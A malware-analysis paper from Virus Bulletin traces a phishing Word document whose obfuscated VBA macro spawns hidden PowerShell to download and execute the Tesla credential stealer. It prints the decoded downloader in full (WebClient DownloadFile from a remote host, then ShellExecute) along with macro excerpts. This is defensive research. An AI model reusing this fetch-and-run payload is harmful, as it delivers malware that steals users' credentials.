Powering the distribution of Tesla stealer with PowerShell and VBA macros

Aditya K. Sood & Rohit Bansal

SecNiche Security

Copyright © 2018 Virus Bulletin


 

Introduction

Credential-stealing malware has been around for some time and has been used extensively to extract sensitive information from end-user machines. The Tesla stealer (not to be confused with the Tesla ransomware) is another family of malware that is distributed with the aim of performing unauthorized operations in compromised systems.

During earlier research [1] we identified a number of weaknesses in botnet C&C panels that could be used to gain access to the deployed panels. A number of C&C panels were tested in that research, from one of which we obtained a malicious Word document that was being used to distribute the Tesla agent. In this paper, we present an analysis of that malicious Word document. An overview of the Tesla agent C&C panel is shown in Figure 1.

Tesla-fig1.pngFigure 1: Tesla agent C&C panel overview.

 

Analysis

The document is sent as an attachment as a part of a phishing campaign. The malicious document, 'PURCHASEORDER.DOC', is shown in Figure 2.

Tesla-fig2.pngFigure 2: The malicious document 'PURCHASEORDER.DOC'.

The attacker expects the end-user to enable macros in the Word document in order to render the content of file. The Office package raises a warning about the possible presence of macro code in the file. However, it is difficult for the end-user to determine the integrity of the macro code as it is embedded in the file. If the end-user enables the macro, the code will be executed in the context of the logged-in user.

We began our analysis once the VBA code had been extracted. Let's first take a look at the file's metadata, which is shown in Figure 3.

File PurchaseOrder.doc
Composite Document File V2 Document,
Little Endian,
Os: Windows,
Version 6.3,
Code page: 1254,
Author: --,
Template: Normal.dotm,
Last Saved By: --, Revision Number: 1,
Name of Creating Application: Microsoft Office Word,
Create Time/Date: Wed Jan 24 02:49:00 2018,
Last Saved Time/Date: Wed Jan 24 02:49:00 2018,
Number of Pages: 1,
Number of Words: 0,
Number of Characters: 3, Security: 0

Figure 3: File metadata.

The file was scanned for information using the OfficeMalScanner tool [2], as shown in Figure 4.

wine OfficeMalScanner.exe ~/research/tesla/PurchaseOrder.doc scan info
fixme:heap:RtlSetHeapInformation 0x0 1 0x0 0 stub

[*] SCAN mode selected
[*] Opening file PurchaseOrder.doc
[*] Filesize is 161792 (0x27800) Bytes
[*] Ms Office OLE2 Compound Format document detected
[*] Scanning now...
Analysis finished!

Figure 4: OfficeMalScanner was used to scan the file.

The tool detected the presence of a compound format document. Generally, the next step of the analysis is to use the same tool to check for malicious patterns. We did this, and obtained the results shown in Figure 5.

wine OfficeMalScanner.exe ~/research/tesla/PurchaseOrder.doc scan brute debug
fixme:heap:RtlSetHeapInformation 0x0 1 0x0 0 stub

[*] SCAN mode selected
[*] Opening file PurchaseOrder.doc
[*] Filesize is 161792 (0x27800) Bytes
[*] Ms Office OLE2 Compound Format document detected
[*] Scanning now...

Brute-forcing for encrypted PE- and embedded OLE-files now...
Bruting XOR Key: 0xff
Bruting ADD Key: 0xff
Bruting ROL Key: 0x08
Analysis finished!

----------------------------------------------------
No malicious traces found in this file!
----------------------------------------------------

Figure 5: Checking for malicious patterns.

As can be seen in Figure 5, the tool found no malicious traces – either it did not detect any encrypted content or the specific heuristics did not trigger an alert. Generally, tools like this are designed to help automate the process of analysis, but they should not be relied on as the sole basis for making inferences. In this case, manual analysis of the embedded code was required.

The embedded VBA code was dumped and some initial checks were performed, as shown in Figure 6.

file ~/tools/PURCHASEORDER.DOC-Macros/ThisDocument
PURCHASEORDER.DOC-Macros/ThisDocument: ASCII text, with very long lines, with CRLF line terminators

cat ~/tools/PURCHASEORDER.DOC-Macros/ThisDocument | head -n 15
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

#If VBA7 Then

Private Type PRG_UIZ
YCU_W As Long
DP_PE As String

--- Truncated --

Figure 6: Initial checks on the embedded VBA code.

We found that the code contains obfuscated variable names, as shown in Figure 7.

  Private Type PRG_UIZ
   YCU_W As Long
   DP_PE As String
   O_OH As String
   N_RPN As String
   YZ_YXM As Long
   F_OE As Long
   BF_R As Long
    Y_ZY As Long
    DO_FU As Long
    U_JCB As Long
    IGF_HJZ As Long
   B_C As Long
   ZNB_WM As Integer
   LUX_PXU As Integer
   DP_PE2 As LongPtr
    J_H As LongPtr
    C_JM As LongPtr
   OZL_IBT As LongPtr
End Type

------ Truncated ---

Figure 7: Obfuscated variable names.

The VBA macro code calls the 'CreateProcessA' function, as shown in Figure 8.

Private Declare Function CreateProcessA Lib "Kernel32" (ByVal WWR_EX As Long, ByVal R_BXV As String, EK_RNH As W_F, LJ_A As W_F, ByVal QH_XSH As Long, ByVal L_C As Long, ByVal LK_P As Long, ByVal B_IA As Long, PRB_VV As PRG_UIZ, O_MP As PSL_ZQ) As Long
Private Type PSL_ZQ
PL_Y As Long
CB_MH As Long
IKY_YVM As Long
M_OZ As Long
End Type

Figure 8: The VBA macro code calls the 'CreateProcessA' function.

This function is called to create a new process and associated new primary thread in order to execute a process in the context of the logged-in user. The 'CreateProcessA' function is a variant of the 'CreateProcess' function that expects the variables to be passed as ANSI strings. MSDN provides details of this function [3], as shown in Figure 9.

BOOL WINAPI CreateProcess(
_In_opt_ LPCTSTR lpApplicationName,
_Inout_opt_ LPTSTR lpCommandLine,
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ BOOL bInheritHandles,
_In_ DWORD dwCreationFlags,
_In_opt_ LPVOID lpEnvironment,
_In_opt_ LPCTSTR lpCurrentDirectory,
_In_ LPSTARTUPINFO lpStartupInfo,
_Out_ LPPROCESS_INFORMATION lpProcessInformation
);

Figure 9: Detail of the 'CreateProcess' function.

At this point, it was determined that if the VBA macro code is enabled by the end-user, it will spawn a process in the system. Next, we needed to analyse what operations would be performed by that process. On further analysing the embedded code, the main function was extracted, as shown in Figure 10.

Tesla-fig10.pngFigure 10: On further analysing the embedded code, the main function was extracted.

It was important to decode the function 'WAS_HWF' in order to determine the details of the operation being performed in the system. We encountered multiple script compilation errors ('Microsoft VBScript compilation error: Expected end of statement') because we wanted to execute specific code using CScript, so the script has to be rewritten a little in order to achieve successful execution. The code was tweaked a bit and decoded successfully (Figure 11). The decoded code is shown in Figure 12.

Tesla-fig11.pngFigure 11: The code was tweaked a bit and decoded successfully.

powershell.exe -WindowStyle Hidden -noprofile
If (test-path $env:APPDATA + '\w0cp.exe')
{
Remove-Item $env:APPDATA + '\w0cp.exe'};
$KDFB = New-Object System.Net.WebClient;
$KDFB.Headers['User-Agent'] = 'USRUE-VNC';
$KDFB.DownloadFile('https://[domain-truncated]/[binary].exe#CrqvPXxfMCN37CVKvjPz044yT9DXOtBC',
$env:APPDATA + '\w0cp.exe');
(New-Object -com Shell.Application).ShellExecute($env:APPDATA + '\w0cp.exe');
Stop-Process -Id $Pid -Force

Figure 12: Decoded code.

Let's analyse the code above:

  • The 'WindowStyle' parameter determines how, exactly, to execute the PowerShell. The code uses the value 'Hidden', which means that the PowerShell prompt (or window) won't be displayed – forcing the PowerShell to execute the code in a hidden manner.
  • The 'NoProfile' parameter tells the PowerShell console not to load the current user's profile.
  • The script then determines whether there exist any executables named 'w0cp.exe' in the application data folder. If such a file exists, the script directs the PowerShell to remove it using the 'Remove-Item' call.
  • The script then directs the PowerShell to create a new webclient object named '$KDFB' to fetch data from the Internet. The User-Agent is set as 'USRUE-VNC' and is sent with the HTTP request issued by the web client. This highlights that the script interacts with the remote resource on the Internet.
  • The web client than calls the 'DownloadFile' [4] function to fetch the executable '[binary].exe' from the remote location and then rewrites the file as 'w0cp.exe' in the application data folder. At this point, the script downloads the Tesla agent / stealer bot. Tests revealed that the remote domain expects a private key to be passed within the URL to download the binary. If the private key is missing, the file fails to download. The private key used in this case is 'CrqvPXxfMCN37CVKvjPz044yT9DXOtBC'.
  • The script then calls the ShellExecute function to install and execute the Tesla bot on the compromised system.
  • Finally, the Stop-Process [5] cmdlet is called by the script and forces the process to stop.

The complete workflow of downloading the file and executing it using PowerShell is an easy process compared to the creation of an advanced exploit. This case study shows how PowerShell functionality can be used for nefarious purposes.

 

Conclusion

In this paper, we have highlighted how PowerShell can be used in conjunction with VBA macros to download malicious executables on a system. This technique is used to download the Tesla agent on compromised devices.

 

References

[1] https://www.blackhat.com/docs/us-14/materials/us-14-Sood-What-Goes-Around-Comes-Back-Around-Exploiting-Fundamental-Weaknesses-In-Botnet-C&C-Panels-WP.pdf.

[2] OfficeMalScanner. http://www.reconstructer.org/code.html.

[3] https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx.

[4] https://msdn.microsoft.com/en-us/library/ez801hhe(v=vs.110).aspx.

[5] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/stop-process?view=powershell-5.1.

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